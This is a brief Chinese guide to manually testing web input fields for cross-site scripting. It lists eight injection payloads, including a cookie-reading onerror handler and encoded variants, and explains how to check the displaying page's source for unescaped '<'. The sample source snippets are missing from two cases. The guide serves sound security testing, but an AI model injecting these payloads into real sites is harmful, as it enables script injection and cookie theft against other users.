注：本文描述的是一般情況的xss注入方法及驗證方法，並無覆蓋所有xss情況，
步驟1：在任一輸入框中輸入以下注入字符
>"'><script>alert(XSS)</script>
>"'><img src="javascript:alert(123456)">
1234<%00script>alert("123456")</script>
&{alert(123456)}
>%22%27><img%20src%3d%22javascript:alert(123456)%22>
[rm]"><img src=1 onerror=alert(document.cookie)>[/rm]
\u003cimg src=1 onerror=alert(/xss/)\u003e
\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27
步驟2：提交成功後，在讀取參數的頁面查看頁面源碼，搜索剛輸入注入
即：在【A頁面】提交的，要在能查看A頁面提交的內容的【B頁面】搜索源碼纔有效
如：在【A頁面】輸入框輸入 >"'><script>alert(123456)</script>，提交成功後，在【B頁面】搜索“123456”
步驟3：查看頁面源碼
情況1：看到頁面源碼爲
有xss問題
解析：頁面並沒將字符 “<” 轉義，瀏覽器會執行此代碼 ，此類屬於xss漏洞 。
情況2：看到源碼爲
無xss問題
解析：頁面已將輸入的字符“<”轉義成“"；”，此類沒有xss漏洞。
情況3：頁面錯位
有xss問題
解析：頁面並沒將字符 “<” 轉義，瀏覽器會執行此代碼 ，此類屬於xss漏洞 。
情況4：頁面有彈出框提示
有xss問題
解析：頁面並沒將字符 “<” 轉義，瀏覽器會執行此代碼 ，此類屬於xss漏洞 。
可以認爲，所有沒有轉義字符“<”的都屬於存在xss注入漏洞。
ps.頁面源碼，並非審閱元素，兩者是有區別的